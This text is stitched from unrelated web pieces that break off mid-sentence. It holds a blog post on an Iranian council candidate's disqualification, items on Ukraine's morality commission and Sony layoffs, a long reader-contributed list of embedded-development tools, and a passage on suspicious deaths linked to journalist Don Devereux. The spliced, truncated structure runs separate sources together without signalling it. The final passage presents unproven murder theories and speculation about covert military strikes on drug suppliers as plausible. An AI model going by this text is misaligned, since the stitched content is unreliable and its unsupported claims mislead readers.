Other research has suggested vacancies are getting harder to fill with one recent poll by the Recruitment and Employment Confederation flagging skills shortages across a range of more than 60 roles. Other figures showed a 96% drop in the number of nurses from the EU registering to work in the UK since the referendum.Iranian City Council Candidate Loses Seat, Deemed Too Attractive for Politics
Nina Siahkali Moradi, a 27-year-old architecture graduate student, recently won a seat on the Qazvin, Iran, City Council. Moradi received 10,000 votes, making her the fourteenth most popular of the 163 candidates that ran. However, the electoral candidate has been barred from taking her seat because of her good looks.
Yep, I’m not making this stuff up; she was disqualified because of her looks.
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Here we go again with more sexist crap. Let’s look at the clear evidence surrounding Moradi’s disqualification, shall we?
Moradi was originally named an “alternate member of the Council.” Ali Farazad, an official who is ranked above Moradi, was selected as mayor, but he gave up his council seat. Normally, Moradi would then have taken Farazad’s place, but Moradi was disqualified because she was deemed unable to fill the vacant seat.
Why, you ask? Apparently, she was excluded from the council because they didn’t want a “catwalk model on the council,” said a Qazvin senior official.
“Almost 10,000 people voted for me, and based on that, I should be the first alternate member of the City Council,” said Moradi, who had put together an impressive and high profile election campaign.
To refute her statement, Qazvin parliament representative and review board member Seyed Reza Hossaini told IranWire, “[Moradi’s] votes have been nullified due to her disqualification, as the review board did not approve her credentials. We have told her the reason why she has been disqualified.”
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Here’s the funny thing: no one on the review board talked to Moradi about this decision. So basically, this disqualification is based off of pure bullshit, if you'd pardon my language.
Those who oppose Moradi's claim to her seat go so far as to suggest that she was only elected because of her beauty and youth. They also believe that the behavior set by Moradi’s supporters did not support the traditions of conservative Islam.
The grad student’s slogan, which sounded pretty cool, was “Young Ideas for a Young Future.” Having Moradi could have greatly helped the council with a take on the younger generation, but nope, that’s not possible now!
A Qazvin legal expert named Mohammed Olaiyahfard insists that that the review board “cannot nullify the results,” and that the board is deliberately setting up an obstacle for Moradi. “It is illegal for the election review board to disqualify someone who had initially been qualified to run and then later won the election,” says Olaiyahfard.
As of yet, Moradi still hasn’t officially been told why she was disqualified her seat on the Qazvin City Council.
Some have compared Moradi’s experience to that of Parisa Tirsahar, a former City Council member also from Qazvin who was almost denied her seat as well. As Tirsahar fought her way through election officials who tried to sideline her, she was eventually given her seat on the City Council.
Thanks to The Independent and IranWire
Photo via The IndependentDid you wear your SpongeBob Squarepants costume to the Gay Pride festival this year? No? Because Ukraine watchdogs think that SpongeBob may be "promoting homosexuality," the Daily Mail reported.
The gay sponge allegations were made by a far-right Catholic group last week, but Ukraine officials are taking the issue seriously. Ukraine’s National Expert Commission for Protecting Public Morality, not a fun group to party with, announced that it was calling a special session to investigate the allegations, according to the Wall Street Journal.
More from GlobalPost: When the BRICs crumble
The report takes a number of hits against popular kids' shows and movies. In some of the odder accusations, the report says that the Shrek films contain "sadism" and that South Park promotes "reincarnation propaganda", according to the WSJ. Perhaps it's just the language barrier. Particularly harsh, if a bit accurate, is the report's description of a how a typical child looks when he watches the Teletubbies show: “an imbecile who will sit near the screen with an open mouth and swallow any information.”
Ukraine's morality commission may propose a countrywide ban on the accused shows, Ukraínskaya Pravda reported.While Sony managed to hit a home run with its PlayStation 4 being priced $100 below the baseline Xbox One, the company's other divisions aren't faring as well. The mega-corporation has largely struggled ever since the economic downturn began in 2008, and things have finally come to a point where it's going to have to make major changes in order to maintain a sustainable business model. Sony has this week introduced plans to "restructure its organization to maintain its competitiveness in an evolving consumer electronics market."It's a tough pill for a company as large and as prominent as Sony to swallow, we're sure. Sony's looking to cull headcount by 5,000 globally, and here in the United States, it will be shutting down 20 U.S. Sony Stores. "While these moves were extremely tough, they were absolutely necessary to position us in the best possible place for future growth," said Mike Fasulo, President and COO of Sony Electronics. "I am entirely confident in our ability to turn the business around, in achieving our preferred future, and continue building on our flawless commitment to customer loyalty through the complete entertainment experience only Sony can offer."Sony has seen profits shrink to nearly zero in the television business, and |
(prfile http://www.lerup.com/printfile) configured to print a source listing of the current file,
a homebrew utility that prints lines over 80 characters in length with line numbers (One customer does not want any more that 80 characters per line. Even though Dev-C++ displays a right margin line at column 80, it is possible to continue typing beyond that.),
a cygwin bash script that to run the program, use less to scroll through the output and diff to see changes in the output, and - gcov for code coverage analysis using a cygwin bash script to capture the log output that summarizes coverage by function
The bloodshed homepage includes links to other resources including listings of free compilers, learning information, a list of downloadable C/C++ source file and useful links.
My two gripes with Dev-C++ are:
only one file is visible at a time, although it is easy to switch between multiple open files
this and several other editors use a separate search dropdown menu instead of including the find and replace commands under the edit dropdown menu like MSWord and another tool that I was using. I frequently used the wrong keyboard sequence one or more times after switching between MSWord, Dev-C++ and another tool.
Mark Bereit says: I use Microsoft Visual Studio 6 as my all-purpose IDE, for both desktop and embedded development. The abilities of this tool are greatly enhanced using Visual Assist (link) from Whole Tomato Software. This does better source code coloring, great autocompletion and suggestion, and great source code browsing (that doesn't depend upon Microsoft's browse database, so it works just fine on your cross-platform C/C++). Works for both Visual Studio 6 and Visual Studio.Net. I've used several versions over the years and find it to be a great help.
Kevin Light wrote: There is a relatively new open source, cross platform, IDE tool which is moving forward really fast. http://www.codeblocks.org. While the RC2 release shows off some of the features, the Subversion HEAD really is unbelievable and is usually pretty stable. The wxSmith plug-in for developing wxWidgets applications is very good for being bleeding-edge.
Marc Verwerft sent this link to ctrace: (link). From their website: CTrace is a fast, lightweight trace/debug C library. It was specifically written for use in a multi-threaded application, though it will work just fine in a single threaded C application. A trace/debug library has an interface of macros or functions which outputs the contents of program variables as the application is running. The trace calls may be made at user-defined levels. It may also be required to have trace functions only called on a particular thread or logical unit of the application.
Isn't that what debuggers are for? Well, yes, though debuggers can be kind of tricky to use when an application is running across multiple threads. Also, once an application is deployed, for example on an embedded system, using debuggers becomes impractical. In this case, a remote protocol could turn tracing on for parts of the application, and the results may be returned either as a stream, or output to a file on the remote system, and collected via ftp.
Cristina Ionescu likes Eclipse: The Eclipse IDE for C/C++ developers, currently at Galileo version, has been quite useful for the team I am part of. It offers a huge amount of plugins for various uses. Just with the CDT (C/C++ Development Tools) environment you have a great tool. In parallel, installing Cygwin on the computer allows setting the Eclipse C project toolchain to Cygwin (others may be used as well). One other part of our own made tools and scripting is in Python, and the PyDev plug-in is perfect for having both editor and interpreter through the IDE. SVN subclipse plug-in allows direct SVN connection for the projects. Workspaces can be created where several project contents can be compiled for different targets. Make targets are associated to projects. Etc. etc... a simple download and look at the IDE will show a lot of what it can do. Using this and Doxygen has taken a huge strain off developers in my team because before they used to have several tools. The Eclipse IDE has several versions for Java, PHP, C and other types of projects (being written in JAVA itself)..
That's about all I can say without getting into details for everything. I have used Dev C++ and Microsoft Visual C++ in the past, but I really like Eclipse. It is indeed more complex and for simple projects it's obviously to complex, but for a large development team, it relieves the number of actions to take to create a target once the whole environment has been installed as desired.
Mohan Paklapati also likes the Eclipse: It’s awesome to work and gives you very cool UI & UX with a single short cut you can see declarations/reference of a variables, functions calls, What not it’s having all the feature old post people are describing in you tools page most people look for syntax highlighting for user defined data types or typedef(C) Eclipse will give very pleasing syntax highlighting you need not to push them into any configs files for syntax highlighting top of all its freewarecomes with Eclipse Public License (EPL) and you can use on any OS platform. And supports many languages and lot many plugins are there to support more programming languages and testing while coding feature, if its JAVA programming its having unit testing feature to test while code.
Source Navigator Tools
Don Peterson wrote: If you use vi and its clones (especially vim), you should be aware of exuberant ctags (link), as it makes navigation in source files much easier. Use it e.g. to tag all the symbols in all the include files in /usr/include (when I'm on Linux, I have a cron job recreate this file every night).
Then there's this from Christopher Svec: For your list of tools, I suggest checking out cscope: it's like ctags on steroids. You can find where any C symbol is defined, called, used, called-by, etc. It works *pretty well* with C++, and passingly well with other C-like languages. It has its own curses based interface, plus it interfaces very well with vim and emacs. It's open source, and can be found here..
Rod Bartlett likes SourceNavigator (link)- a good tool for familiarizing yourself with large coding projects when documentation is outdated or non-existent. Allows easy searching within the entire source tree. Has built-in support for tags and cross reference database. Sadly the database engine used throws errors when building the project files for very large code projects but this is a handy tool for small to medium projects.
My current quest is to find a good search tool to look for strings within one or more file types in a source tree. I currently alternate between GlobalFind and the XP Search function. Neither is quite fast enough on very large ClearCase views and both lack features I'd really like to see. Sadly none of the indexing tools like Google Desktop or Copernic seem to work well with network drives such as those presented by ClearCase. I'd be very interested to hear about tools other engineers are using to search for strings within files in large source trees.
GlobalFind (link)- A reasonably fast tool for finding files and patterns within files with the ability to walk subdirectories.
John Paul wrote: "Understand" by SciTools. I've been using this tool for just over two years and it is excellent. Especially useful when making modifications to a code base that you have little knowledge of, it helps you get a bigger picture of the code set.
Calculator Tools
Jon Titus suggested: During the last few weeks I looked at several high-end graphing calculators from TI, HP, and Casio but decided against buying a device I'd use for a while and then forget how to use. While looking around I discovered a science/engineering graphing calculator app for $5 that runs on Android devices. I put it on my Kindle Fire and have started to learn how to use it. No calculator could beat the price, so I thought you and your readers might like to know about it. Here's the link: http://www.mathlab.us/calc/index.html.
Here's a site full of all sorts of calculators.
Chris Deckard wrote: I just read Jon Titus' recommendation for an Android graphing app. Completely agree with his statement, "I'd use for a while and then forget how to use" regarding hardware calculators. I'd like to recommend www.desmos.com. It's an online graphing calculator loosely based on OS X's Grapher. It's quite intuitive, and allows for saving graphs if you are logged in. Being able to copy+paste data from Excel is great since I use it quite a bit for designing transfer functions before I implement them in code. Also supports sliders so you can interactively explore how a parameter affects a system
Cliff Brake has a hex calculator (link) written in Ruby.
Rodrigo Flores suggests Calculator.Net, (link) a nice.NET RPN calculator.
Scott D. Whitney likes RPN: Being an older electrical engineer/embedded developer, I was raised on HP calculators. No matter how hard I try, I simply cannot get used to a non-RPN calculator. So, one tool I simply cannot do without is a Windows-based RPN calculator called Excalibur, written by Dave Bernazanni. All kinds of modes and functions, including scientific, statistics, business, computer science, conversions, and much more, including custom. Very highly recommended. I have another friend who actually showed me Excalibur in the first place, and he says that its the second tool he puts on every new PC!
Terje Frostad also has some RPN information: There's an alternative to the free42 RPN calculator mentioned in your last Embedded Muse (197). Its called Excalibur (link), with current version 2.00 and it is quite remarkable I think. I use it every day. Even though it looks similar to my good old trusted HP 15C, it can do a lot more than that. It is like a combination of all the classic HP RPN calculators like HP11C, HP12C, HP15C, and HP16C, and it can still do more, and its all for free. It can be found by googling excalibur + rpn.
A related funny but true story: I had been using this gem of a tool at work, recently was working with a bright guy from another company. We had to do a conversion, and I said, Wait, Ive got this great tool on my PC. This guy looks it over, tells me to look at Help/About, and there in black and white it says Copyright 1994-2010 David Bernazanni. I almost fell off my chair the guy that I had been working with was the author of this tool that I use every single day! Its freeware, although you can make a simple $5 donation via PayPal if you want.
RPN sure is popular in the engineering community! Luca Matteini (August 2010) is a fan: I read on EM196 an advice for an RPN calculator, and well, I'm RPN-addicted too. I "discovered" RPN, quite late, or I better have to admit I underestimated it for years, until I bought an HP-42S in the early 90s. That calculator stayed by my side all the time, but I always wanted to find something similar to pop on my virtual desk too, instead of the ugly/clumsy applications dubbed on any OS as "calculator". I found the answer in the gorgeous clone of my fav calc: Free42 (link). Put on it one of the smart skins (I use the "Michaels HP" one, compact and close to the real one) and you're done, with a real, full featured, RPN calculator: assign the application launch to some shortcut key, and you can run it in a snap. Now the HP-42S (the original one) sits resting most of the time, to be used only when the PC is off, saving batteries as well.
John votes for RPN on the Mac: MacOS comes with a very nice calculator that has RPN mode (including binary, octal, and hex). Ahh, good old HP calculators! Emphasis here on old -- the newer models were not designed for engineers. What engineer would have a "hex mode" forcing you to type three keystrokes to enter "A" to "F"? (My wife, not an engineer, still uses her 25-year-old HP LED-based RPN HP.)
From Larry Rachman: RPN calculators, eh? The discussion really can't be considered complete without a mention of xcalc (link) a freeware implementation done by a very nice fellow in Scandinavia. His licensing policy: 'try it, share it, if you like it, send me some spices'. Once I installed it on all my machines I pretty much lost interest in handheld devices - being small and light they sometimes get lost, but my computer is big and heavy and hardly ever get lost.
Don Peterson is into RPN, too: I'm also a big fan of HP calculators and loved the early LED ones. However, my favorite HP calculator was the HP-42s, which was an HP-41 replacement. I wrote an RPN calculator program that contains many of the elementary HP-42s functions and runs in a console. It's intended to look pretty simple, but it has features like arbitrary precision, interval arithmetic, and pretty tight control over the output formats. It's called hc.py on google code.
Andrew Dyer is an RPN fan: When I am working at the computer, I use the excellent emacs 'calc.el' package. If you are an emacs fan, I can't recommend this highly enough. I mostly use simple stuff, but there is a fairly capable set of math functions in there, and it's just a few keystrokes away. For other times I have an app for my Android phone called droid48 which is an HP48 replica.
Vlad Z isn't so keen on it: I have to say that I never really fell in love with RPN. I used the HP calculators in the past, when there was nothing else. back in the USSR, in the 70s, I borrowed one now and then from a lucky owner who could afford it. I held it in my hands with the feeling of awe, like having attained a nirvana-like state. still, i avoid RPN when I can. these days, when I am mostly in Linux or on Windows, with Perl installed on both, I use the following script and let Perl do the work:
$ cat `which calc` #!/usr/bin/perl -w # normal expression based calculator: let perl do the work
(@ARGV < 1) && print("USAGE: $0 quoted_expression
") && exit 0;
my $z = eval $ARGV[0]; if ( $ARGV[0] =~ /\./ ) { printf "%f
", $z; } else { printf "0x%x (%d)
", $z, $z; } exit 0;
The invocation has to be quoted and looks like this:
$ calc '(0xfafa * 5.2) / 10' 33410.000000
"I find it much easier on the old brain than RPN... ;)
Hex Viewer/Dump Tools
Vlad Pambucol wrote: And speaking of tools (since I like this one a lot too for playing with hex or mot files) there is a software tool called Hexplorer (link) that can open all sort of bin/hex formats and you can look in your files, you can do CRCs and checksums on blocks of bytes, you have ASCII and hex view a of the file... very useful tool.
Don Peterson wrote: A good hex dump tool is xxd; you can download it as part of the vim distribution (link).
Wil Blake contributed: Embedded Systems Programming used to have link to a hex editor. This one works well.
Henk Dijkstra contributed: My tip would be srecord (link) by Peter Miller, to manipulate target files for embedded systems. It has default support for numerous file formats, and you can easily add new formats to it. By applying filters to the input files, you can also manipulate it if needed (like adding CRC/Checksum or crop/fill/exclude parts and much more).
Scott Finneran suggested Peter Miller's srecord tool (link). This isn't just a file format conversion tool and it certainly works with more file types than just Motorola S-Records. It is and incredibly powerful tool for manipulating binary files (ie firmware images). Just a few of the things it can do:
Splice/Merge/Split binary files
Convert file formats (with 32 formats currently supported)
Calculate and insert CRCs/Checksums
Chop/Crop/Filter/Move sections of files
Correct malformed files generated by buggy toolchains
And many many more.
Because it is driven from the command-line, it can be included in Makefiles (or IDE batch/script files) to automate the building of target images. It's used by Motorola and Intel for manipulating Motorola S-Record and Intel Hex format files. It runs under Linux/Unix/OSX/Windows. Best of all, it's Free/Open Source Software.
Tim Dahlin likes xvi32 --> Free Hex Editor for Windows, (link), and Tiny Hexer --> Free Hex Editor for Windows, (link). Also PCalc --> Programmer's Calculator (link).
Scott Winder wrote: 010 Editor ($49.95; link). This is a very good hex editor. Its most important feature to me (i.e. the one that caused me to shell out the registration fee) is its template-based binary file parsing--you can program templates that let you read and write from and to complex file formats, even when the format is somewhat dynamic (optional or variable-sized headers, etc.). It deals elegantly with mixed endianness (even in the same file), and its scripting language is close enough to C that it is very easy to pick up. Add in other goodies such as process memory and disk editing, and you've got a very under-priced product. That's a good thing.
Journaling/Documenting Tools
Gergely Budai wrote: There is yet another tool that needs to be mentioned in my opinion. In our company we need to maintain pretty much Assembler sources, so we started to look for something that fits for our needs. I stumbled over the tool called ROBODoc (link) which we started to use and to extend.
Since it does not know anything about the language it is documenting, it's pretty useful for less structured ones (like assembler) or to document whole projects (various languages and makefiles, etc).
Some Pros:
Can be used with any language that supports remarks
Can be used to document whole projects
Since one header can have multiple names it is great to document assembler code (subroutines with multiple jump-in points)
Absolutely free
Source highlighting
Multiple outputs (html/xml/latex/rtf/ASCII)
User defined objects (like functions, variables, etc)
Some Cons:
No call graphs or anything like that (since it does not know anything about the language)
False links if someone uses bad names like "use", "do", "copy"
Mark Swayne wrote: Doxygen (link) is a great to for automatically extracting comments from your code and creating consistent documentation. If you combine it with Graphviz (link), it will generate immensely useful call diagrams.
Ray Keefe agrees: Doxygen (link) - We are huge fans of this product. It is a great way to document code and also to examine code you are unfamiliar with. It will document code without the included documentation specific comments however it really comes into its own when you do included them. You can also add graphical call graphs and caller graphs and it shows the structure of the include files graphically as well. You can also select whether to inline the code with the documentation or keep them separate. And it creates references for every define, macro, variable and function in the entire project.
For the graphics make sure you also install the Graphviz tool (ink). Free and very comprehensive. With this, you can embed state machine, flow charts and execution or data flow diagrams directly into the Doxygen documentation and you need it to get the best results from the other graphics Doxygen produces.
John Johnson sent: I think this tip - very, very simple tip - is useful in tracking development and debugging efforts. In the MPLAB IDE one can add a text file to the project file list under Other files. The file is a mouse click away and can be used to collect or capture notes, ideas, and in tracking development and debugging efforts which is a tedious activity that often falls in the cracks. I would like to see this feature in all IDEs.
Mark Swayne wrote: I'd like to mention Tiddlywiki (link). Tiddlywiki is a complete wiki-web in one HTML file. It works with most browsers, including Firefox and IE. I find it to be a very useful journaling tool. I keep my development diaries in a Tiddlywiki, the search, tagging and linking functions are very useful.
Olav Haugan likes it, too: Regarding tool for easily searchable personal knowledge-base I think that TiddlyWiki is a very useful tool in this regard. It is a single self-contained HTML file that acts as your own personal wiki. It is portable since it's a single file and can easily be stored in the "cloud" to synchronize access between computers. It is highly customizable with plugin support and customizable style sheets
David Bley wrote: I have a piece of software that I would like to recommend. It is not free, but I use it everyday. It is a free-form database (records are note cards and you can define fields or not) and its most powerful feature is the neural search. It will return every card that contains the list of words that you type in the search field. I put everything in it that I have trouble remembering and can always quickly access it. The program is called Info-Select (link) and I have been using it for many years.
John Kaasgaard likes Wikis: The hottest word now a days. If you need a wiki and don't know exactly 'what' you need. Well start looking here (link). I think there are about 50-60 various wikis, with a very very nice comparison between them. A better way of organizing our ideas or the projects you work on - or just 'giving away information'... is hard to find.
Kalpak wrote: Just tried out the demo/ trial version of Crystal revs (link) a tool for generating flowchart from C/ C++ code. It a great tool, as they advertise, for understanding legacy code. And some versions also have a MISRA checker. It is also great for review or QC, to see if the design has been followed in coding. So I was hoping that it would also allow forward flowcharting, that is, I can use the same for creating flowcharts instead of a regular flowcharting only tool. But it cannot be used like that.
Another interesting aspect; now this tool can be "rented", that is any version can be bought for a limited period of time (in multiples of 1 month). This will be handy for team leads who are unable to convince the management of the value of the product.
Bruno Muswieck has an alternative to Crystal Revs: I found a free tool to convert the code to flowchart and the structure of the program on tree view style. Using a print to pdf tool you have a good tool for documentation and to help you to understand code. It's a nice tool not so powerful like Crystal, but it's for free, nice!EasyStructure (link).
John Johnson wrote: I would recommend Qfsm as a tool that helps create finite state machine diagrams and does this task much better than does Visio. For a while I have been reviewing FPGA development and have used Qfsm in this work. From the Qfsm About window the tool is described as "A graphical tool for designing and simulating finite state machines". From the Qfsm page on Sourceforge: We are very happy to announce that Qfsm won an "Editors pick" award by Brothersoft, one of the leading software download sites.
I might say that because Qfsm could be seen as a "documentation" tool it might not gain acceptance from communities that typically disdain documentation, e.g. software/firmware programmers, developers, hardware designers, etc. <smile>.
Jeff Barth likes Evernote (link): It's easy to store web links, or entire web pages, or selections. Plus make text notes, audio notes, drag pictures into notes, add tables, etc. And it syncs across all major OS's and smart phones.
Jeanne Petrangelo agrees: I use a paid-for PIM called RightNote. It's normally here but the website is under maintenance as I type this. In 2010 I paid $35.40. RightNote stores the information on my PC. It has all the features Dave mentioned (tabs, tree hierarchy, spreadsheets, rich formatting, links, images etc). I keep links, meeting notes, to-do lists, "maybe someday" ideas, and more in RightNote. I even have a password protected tab where I keep access details for the various password protected things at work, so I only have to remember one password. Content can be exported to various formats. It has built-in search capability.
Another popular PIM is Evernote (link), which also has apps for mobile devices; data is stored in the cloud so you can access the same data from different platforms. Evernote has a free version and a subscription version with more features. I'm unable to access Evernote from work due to company network security restrictions, but I use it on my smart phone for non-work information. I assume the PC version of Evernote can do what RightNote can do, with some differences. For example, while RightNote has its own spreadsheet functionality, I've read that Evernote lets you attach an Excel spreadsheet so it's stored in the cloud but it uses your locally installed Excel to open it.
Mike Skrtic wrote: I use a little program called axxCardfile (link) which I have found extremely useful. It is a reinterpretation of the Win 3.11 cardfile.com program - on steroids! Basically I have a deck for each general topic, and then I can paste virtually any sort if info in almost any format into a card. Since every "card" is blank, and there are no pre-defined fields, virtually anyone can use azzCardfile as a sort of database. With azzCardfile, everything is wide open. Sure, it's not a database in the true sense of the word, but it's close enough.
As far as features go, I really can't go into every one of them. There are a ton of features that I've never used. Features that I have used include:
Format text as you would in any normal word processor, including bold, italics, changing text and background color, text size, etc.
Create hyperlinks pointing to web pages. Ctrl+click on hyperlinks to open that page in your preferred web browser.
All pages are searchable. Search within a card, or search all cards for a specific word or phrase.
All cards are printable. You can even Ctrl+click multiple cards to print them out into a single document (this is how I create my road trip lists).
Export cards (or multiple cards) to RTF, HTML, or a few other formats.
Tony Garland has a couple of favorites: Another set of tools that I use to keep track of various tidbits of information: trunknotes for iPad/iPod/iPhone (link) together with vimwiki (link). Trunknotes is a wiki-like note taking and organizing application which brings the power of wiki to the iPad/iPod/iPhone in a stand alone way. This means that you can easily refer to, enter and edit your notes in an easy-to-use reliable wiki running on the device you almost always have with you. What's especially great about trunknotes in the day-to-day engineering battle is it has a "Wi-Fi Sharing" feature which, when enabled, allows you to access trunknotes from within any browser on another machine on the local wireless network. What this means is that you can keep a browser window open on your main development machine (using a URL which trunknotes provides) which gives you full access to trunknotes as if it were running on your local machine-although it is still on your portable device. The web interface is fully capable of creating, deleting, editing, and searching-just like on the actual device. Except you have the efficiency of your large PC display and full keyboard. Then, whenever you run off somewhere, you grab your portable device and it has everything on it. Another nice feature is Dropbox synchronization. I use this to make sure my notes are backed up on the PC (locally) and as an interface with the other half of my equation: vimwiki. Vimwiki can be configured to work pretty well with trunknotes files (including the file extension and most of the wiki markup syntax). This gives me the best of both worlds: I can use trunknotes stand-alone (even from my PC) or I can use vim (or gvim) with vimwiki. This means I can do all my trunknotes editing using powerful vim features and vimwiki allows global wiki page renames and other great features including super flexible and powerful search (although trunknotes does well in that department).
Pretty Printers
Jack Ganssle likes uncrustify to clean up the source. This is one of the most powerful and configurable pretty printers around. There are about 450 configuration options and almost, unfortunately, no documentation. Several configuration files are included; defaults.cfg lists all of the options, and that file seems to be about all there is for a user's manual.
Uncrustify will adjust spacing, tabs, brace placement, spaces around operators and much more. It can change a multi-line function declaration so the parameters are all vertically aligned. One of the included configuration files will change source to resemble K&R style.
It runs in a Windows/Linux command shell and is breathtakingly fast. I ran it against an 8000 line C source file and the execution time was perhaps a quarter second on a Windows 8.1 six-core machine.
Uncrustify is free and available here. There's a GUI front end for Macs available here which makes setting the configuration options a lot easier. William Leara has an excellent write-up about a GUI for the Uncrustify code beautifier here.
Leland Hamilton contributed: Pretty print (code highlighting) n-up file printing utility (link) very useful for printing 1 and 2 up source listings with line numbers, code highlighting (bold keywords, italic comments), and long line wrapping. Can select various output formats, such as 131 columns wide landscape text printing, and save the setups with names for recall. You can chose either column width or lines per page, optional pretty printing code highlighting, optional line numbering, specify tab width, heading and footer formats, number of pages per sheet (n-up) horizontal and/or vertical with either landscape or portrait orientation. Also there is support for Postscript file printing using the ghostscript and gsview programs, and a print spooler capability. Also offers a command line mode. I set up prfile as a Windows Explorer right click SendTo with the default to do 2 up line numbered source listings, and a tool in my IDE, Dev-C++, to print the current file.
Scott Winder wrote: While not really a pretty printer per se, I've used FinePrint ($49.95; link) for several years now and have saved (literally) thousands of sheets of paper in the process. It allows you to print multiple sheets on one page, and makes double-sided printing on manual duplex printers fairly painless. I'm especially fond of its booklet feature, but I'd say that its biggest benefit lies in its ability to show you the print job before it goes off to the printer. I use this all the time to combine multiple print jobs (of web pages, for instance), re-order them, and delete unnecessary pages (e.g. the ubiquitous Page 2 of 2 with nothing but a header and footer on it).
John Kaasgaard wrote: Another important tool is Indent (link). Formatting the source code makes the bugs easier to find, it also pleases your mind, since what you see is exact formatted the way you like it. The days where you discuss with your colleges,..should the parenthesis be on the same line, or on the next line..... well its over now. Pre-process your source file with Indent, and you got it exactly as you want it to. It also improves code-walkthrough, and bug-tracking others code... And the smartest thing is, if your using CVS you can pre/post run it too automatically!
David Strip suggests: Highlight Code Converter (link). Syntax and keyword color highlighting, indenting, etc. Supports 140 languages, 40 pre-defined color schemes. Supports user defined color schemes and language definition files. Output in TeX/LaTeX, RTF, HTML, XML, SVG, XHTML. Windows and Linux versions. The price? FREE.
Don Peterson wrote: I used to use the GNU indent tool constantly on C code, but it didn't work well on C++. Then I found artistic style (link) which works on C/C++/C# and Java.
Project Management Tools
Allen Paul sent this link to PlanBee (link).
Mark Swayne wrote: For PERT and Gantt charting, the open-source Gantt-Project is worth checking out. It does both Gantt and PERT charts and uses an XML file format, so you can easily parse your data files and integrate it with other tools. See here.
Scott Winder likes this tool for software design: Sparx Systems Enterprise Architect ($135-335; link). I've just recently started using this one, but it competes favorably with several $1000+ UML design tools. The floating license system is easy to use, it will integrate with most common version control systems, and for very large projects, the Corporate Edition can be used against a client-server database back-end (Oracle, MySQL, etc.). There *is* a learning curve associated with this package, but anyone with a solid UML background should find it pretty easy to pick up, and those without a UML background can purchase the $49.95 Zicom Mentor add-on that provides copious amounts of context-sensitive help (among other things). EA is updated quite frequently, and a free 30-day trial is available. Their customer and sales support staff are also quite helpful.
Johan Kok wrote: For drawing UML diagrams and also generate them from existing code I use Metamill (link). It does a great job and is also very affordable.
Communications Tools
Do check out Ed Sutter's free HyperTerminal replacement called uCon. Found here, it provides powerful scripting capabilities, plenty of function keys, as well as most of the network facilities typically used in embedded systems (TFTP client/server, FTP, DHCP & Syslog servers) and even a terminal server mode that allows you to access the PC's serial port remotely via telnet. Also see the FAQ.
Several people suggested Wireshark (link) as a packet sniffer, which can inspect hundreds of protocols.
Alejandro Weinstein suggests Bray's Terminal (link). From the web-page: Terminal is a simple serial port (COM) terminal emulation program. It can be used for communication with different devices such as modems, routers, embedded uC systems, GSM phones. It is very useful debugging tool for serial communication applications. It is not an Hyperterminal kind of terminal. It is really oriented toward embedded developing. And it is free.
Tim Dahlin wrote: Tera Term Pro --> Terminal Program Old Version => here. New Version => here.
John Kaasgaard wrote: I'm using Docklight (http://www.docklight.de/) for most of my serial communication. It's great, and holds several nice features, if you're doing embedded work, tracing between to subjects, or just mangling with the products' Service interface.
Royce Muchmore weighed in with this on Docklight: I see that Docklight is listed as a useful communication tool in your 'Tools for Embedded Developers' page. However, I don't think the description gives the tool nearly enough credit. Docklight does provide the standard terminal interface with the ability to transmit and receive characters and log serial communication to a file. In addition, there are several key features that Docklight provides:
The ability to passively monitor serial communication between 2 devices with syntax coloring to differentiate between the devices.
Serial port selection. In order to select the serial port, the serial port number is typed in so you are not limited to a pre-defined list of port numbers.
Tabbed display to quickly switch between Hex/ASCII/Decimal/Binary representations.
Serial protocol debugging. The capability to create user-defined sequences of characters that can be transmitted by pushing a button. The ability to react to a user-defined received sequence of characters. Once constructed, all user-defined sequences can be saved.
I have not found a better program for serial protocol debugging.
Ken Smith recommends two tools: My favorite productivity tool of all time is GNU screen. At a minimum, it gives you tabs in your xterm or other terminal emulator so you can have multiple virtual xterms in a single window. You can detach a screen and the processes that are running in it will remain running. For example, you can detach your screen at the end of the day, drive home, and reattach and you'll see the exact same window that you were looking at before. This is great for checking on long running processes. It can also connect to serial ports. Eg `screen /dev/ttyUSB0 115200` will open a screen window on your serial port USB0.
The second tool I can't live without is tcpdump for debugging network issues. It's like wireshark but it is strictly a command line tool. It links with libpcap and can exchange files with other tools that support that format.
Adrian Alexandrov like Termite link. There's one terminal I've been using for year or so. And it seems to be very handy. It is a simple rs-232 terminal for windows (works with windows 7, too). Features worth mentioning are:
different colouring of input and output data.
logging
autocompletion of previously-entered commands
ability to forward data from one port to another so you can use it as a sniffer between 2 devices
hex mode
timestamps (which is especially useful for analysing logged data)
supports non-standard baud rates like 31250 bps and 250,000 bps (never used it, but may be essential for some applications)
it supports writing your own filters.
Version Control Systems
There's a good summary of the differences between decentralized and centralized version control systems in Queue magazine here.
Thomas Linder wrote: TortoiseGIT should be mentioned. Except from the basic difference between a centralized VCS (SVN) and a distributed VCS (GIT) those two are equally powerful and quite |
Ruth was so upset she didn’t write down their names. No one knows for sure if the men really were from the FBI. Don Devereux contacted the FBI to get more information on the Morgan case: “When I made a Freedom of Information Act request to the FBI, they had never heard of Mr. Morgan, despite the fact that they obviously opened an investigation, despite the fact the FBI interviewed Mr. Morgan’s attorney. They were all over this thing like a blanket for a while. But now they’ve never heard of the guy. He never existed. No card, no file, no nothing.”
The episode then went into how the reporter looking into it almost got whacked himself, before another reporter in DC who thought it was related to CIA activities was bumped off:
On May 14, 1990, at 11pm, Doug Johnston left for work at a computer graphics company. An hour later, he was found shot to death in his car. He had been shot behind his left ear from a distance of at least twelve inches. At first, authorities believed that Doug’s death was a suicide. However, Doug was right-handed, there was no powder residue on his hands, and most importantly, there was no gun found at the scene. For unknown reasons, authorities have not determined that his death was either a suicide or a homicide. Doug Johnston had a similar house and drove a similar car to Don Devereux. Devereux lived across the street from the parking lot where Doug was killed. Devereux is a journalist whose work was allegedly a threat to mob figures in Phoenix. Devereux was also investigating the suspicious death of Charles Morgan… In 1991, Devereux was contacted by a writer from Washington, D.C., named Danny Casolaro. Devereux agreed to share with Dan the information that he had uncovered about Charles’s money laundering. However, before Devereux could even mail his research, Dan Casolaro was found dead. Dan was found with his wrists slashed in a hotel bathroom. His death was ruled a suicide, but Devereux believes that Dan was murdered.
I will say this. The post-9/11 government domestic security machine is immense in ways nobody outside it would believe, particularly in urban areas and outlying suburbs. From what I have seen, there is no way, if that machine were unleashed in the drug war, that there would be any heroin or drug epidemic near any city. It is big enough that right now, from a standstill, I would think in six months it could go from zero to identifing 99.9% of all drug dealers, as well as assemble a complete flow-sheet of their hierarchies and relationships, tracing over 99% of the incoming drugs back to their original suppliers overseas and the exact paths they are taking to American streets. If you gave that intelligence to the shooters in the armed forces, I would think the majority of the drug war could be cut off at its source overseas covertly in six months or less. Mexico might not be happy, but who would care?
